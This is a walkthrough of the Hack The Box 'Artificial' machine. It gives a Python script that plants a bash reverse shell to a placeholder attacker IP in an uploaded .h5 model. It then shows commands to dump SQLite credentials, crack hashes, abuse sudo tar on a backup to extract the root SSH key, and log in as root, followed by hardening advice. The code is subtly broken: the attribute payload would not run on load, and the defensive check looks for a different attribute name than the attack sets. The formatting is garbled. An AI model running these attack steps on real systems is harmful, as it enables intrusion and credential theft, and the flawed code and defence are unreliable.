Listen to this Post

Introduction:
The Hack The Box “Artificial” machine presents a chillingly realistic scenario where a seemingly benign web application running AI models becomes the attack vector for total system compromise. This engagement demonstrates a multi-stage attack chain, beginning with a malicious module upload for remote code execution and culminating in the exfiltration of the root SSH key by abusing a backup system.
Learning Objectives:
- Understand how to exploit insecure file upload functionalities in AI-driven web applications.
- Learn techniques for cracking and leveraging credentials found in exposed databases.
- Master the process of privilege escalation by abusing poorly secured system backup operations.
You Should Know:
1. Crafting a Malicious H5 Module for RCE
The target web application accepts `.h5` model files, a format often associated with Keras and TensorFlow. By embedding malicious Python code within a custom model, we can achieve code execution on the underlying server.
import h5py
import os
Create a new H5 file
with h5py.File('malicious.h5', 'w') as f:
Create a group to mimic a Keras model
f.create_group('model_config')
Create a malicious payload that will execute when the model is loaded
payload = """
<strong>import</strong>('os').system('bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"')
"""
Store the payload in the model's attributes
f.attrs['custom_payload'] = payload
Step-by-step guide:
- Create the Python script above, replacing `YOUR_IP` with your attack machine’s IP address.
- Run the script to generate the `malicious.h5` file.
- Use the web application’s upload feature to submit this file.
- Start a Netcat listener on your machine:
nc -lvnp 4444. - Trigger the model to load (e.g., via an inference request), which will execute the embedded code and provide a reverse shell.
2. Locating and Dumping an Exposed SQLite Database
Once initial access is gained, the next step is to search for and extract credentials from local databases.
Linux commands to find and interact with SQLite databases find / -name ".db" -o -name ".sqlite" -o -name ".sqlite3" 2>/dev/null sqlite3 /path/to/found/database.db ".tables" sqlite3 /path/to/found/database.db "SELECT FROM users;" sqlite3 /path/to/found/database.db ".dump" > database_dump.sql
Step-by-step guide:
- From your reverse shell, use the `find` command to locate database files on the system.
- Once a promising database is found (e.g., containing a `users` table), open it with the `sqlite3` command-line tool.
3. List the tables with `.tables`.
- Dump the contents of the user table to look for credentials. You will often find password hashes that need to be cracked.
3. Cracking Password Hashes with John the Ripper
Discovered password hashes must be cracked to be useful for lateral movement.
Identifying the hash type and cracking it echo "hash_value_here" > hashes.txt john --format=raw-md5 hashes.txt john --format=raw-sha256 hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --show hashes.txt
Step-by-step guide:
- Copy the discovered hash into a file, e.g.,
hashes.txt. - Use `john` with the `–format` flag to specify the hash type. Common types are `raw-md5` and
raw-sha256. - If the hash type is unknown, use `hashid` or `john –list=formats | grep -iF “part_of_hash”` to identify it.
- Run John with a wordlist like `rockyou.txt` to crack the hash.
- Use `john –show` to display the cracked passwords.
4. Abusing Sudo Permissions on Backrest Archives
The compromised user was part of the `sysadm` group, which had special permissions on a Backrest backup archive.
Linux commands to explore and manipulate backups sudo -l tar -tf /path/to/backup/archive.tar sudo tar -xf /path/to/backup/archive.tar -C /tmp/extracted_backup --wildcards '.ssh/'
Step-by-step guide:
- Check the current user’s sudo permissions with
sudo -l. - Discover you have permission to run `tar` on a specific backup archive.
- List the contents of the archive with
tar -tf /path/to/archive.tar. - Extract specific files of interest, such as those in an `.ssh` directory, to a location you control (e.g.,
/tmp). This command uses the `–wildcards` flag to selectively extract the SSH keys. -
Exfiltrating the Root SSH Key via Backup Feature
The final step involves using the application’s own backup functionality to exfiltrate the root user’s private SSH key, which was included in the backup.
Preparing the key for exfiltration and establishing SSH access cat /tmp/extracted_backup/root/.ssh/id_rsa chmod 600 root_id_rsa ssh -i root_id_rsa root@TARGET_IP
Step-by-step guide:
- After extracting the root user’s `id_rsa` private key file from the backup, view its contents with
cat. - Copy the key to your attack machine and save it to a file (e.g.,
root_id_rsa). - Set the correct, restrictive permissions on the key file with
chmod 600 root_id_rsa. - Use the key to SSH directly into the target machine as the root user, achieving full compromise.
6. Hardening the Web Application Against Malicious Uploads
To prevent the initial RCE vector, server-side validation of uploaded model files is critical.
Python (Flask) example for secure file validation
from werkzeug.utils import secure_filename
import h5py
ALLOWED_EXTENSIONS = {'h5'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[bash].lower() in ALLOWED_EXTENSIONS
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return "No file part", 400
file = request.files['file']
if file.filename == '':
return "No selected file", 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(filepath)
Security Check: Attempt to open and validate the H5 file structure
try:
with h5py.File(filepath, 'r') as f:
Check for required, expected structure and reject files with suspicious attributes
if 'malicious_payload' in f.attrs:
os.remove(filepath) Delete the malicious file
return "Invalid file format detected.", 400
except (OSError, KeyError) as e:
os.remove(filepath)
return "Corrupted or invalid model file.", 400
return "Upload successful", 200
else:
return "Invalid file type", 400
Step-by-step guide:
- Implement an `allowed_file` function to whitelist only safe extensions.
- Use `secure_filename` to sanitize the uploaded file’s name.
- After saving the file, perform a validation step by opening it with `h5py` in a try-except block.
- Check for known, safe structures and explicitly scan for dangerous patterns, such as unexpected attributes containing code.
- If the file fails validation, delete it immediately from the server and return an error.
7. Securing Database Credentials and Backup Permissions
Mitigating the post-exploitation steps involves securing sensitive data and adhering to the principle of least privilege.
Linux commands for securing files and auditing permissions Change ownership and permissions of the database file sudo chown root:root /path/to/database.db sudo chmod 600 /path/to/database.db Audit which users can run commands as root via sudo sudo grep -r "NOPASSWD" /etc/sudoers.d/ sudo auditctl -w /path/to/backup/archive.tar -p wa -k backup_archive_access Ensure SSH keys are not included in backups tar --exclude='.ssh' -czf secure_backup.tar.gz /home/ /etc/
Step-by-step guide:
- Ensure database files are not world-readable and are owned by a privileged user. Use `chmod 600` and
chown root:root. - Regularly audit sudo permissions with `sudo -l` for every user and review `/etc/sudoers` and files in `/etc/sudoers.d/` for any unnecessary `NOPASSWD` rules.
- Use auditing tools like `auditd` to monitor access to critical backup files.
- When creating backups, explicitly exclude sensitive directories like `.ssh` using the `–exclude` flag with
tar.
What Undercode Say:
- The initial breach vector is often the weakest link, and in modern applications, this is frequently an AI/ML component with insufficient input sanitization.
- Lateral movement and privilege escalation are not just about kernel exploits; they often hinge on misconfigurations in common system utilities and backup procedures.
The “Artificial” machine is a masterclass in chaining low-to-medium severity flaws into a critical compromise. The most significant takeaway is that the perimeter is expanding. Attack surfaces now include data science toolchains and model files, which many developers and sysadmins may not consider dangerous. The compromise did not rely on a zero-day but on a series of operational security failures: storing weak hashes, over-privileging a service account, and including catastrophicly sensitive files in routine backups. This highlights a critical gap in DevSecOps practices, where security controls for new technologies like AI/ML lag behind their adoption rate. Defenders must extend their security testing and hardening procedures to cover these new asset types.
Prediction:
The techniques demonstrated in the “Artificial” box will see widespread adoption in real-world attacks targeting the burgeoning AI/ML ecosystem. As organizations rush to integrate AI capabilities, we predict a sharp rise in vulnerabilities related to insecure model handling, leading to data poisoning, model theft, and initial server compromise. Furthermore, the lateral movement technique, abusing trusted backup systems, will evolve. We will likely see ransomware groups specifically targeting backup administrators and their systems, not just to encrypt data but to first exfiltrate and then destroy backup archives, making recovery impossible and maximizing extortion leverage. The line between IT infrastructure security and AI security is blurring, demanding a new, integrated defense strategy.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mohamedsaber – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


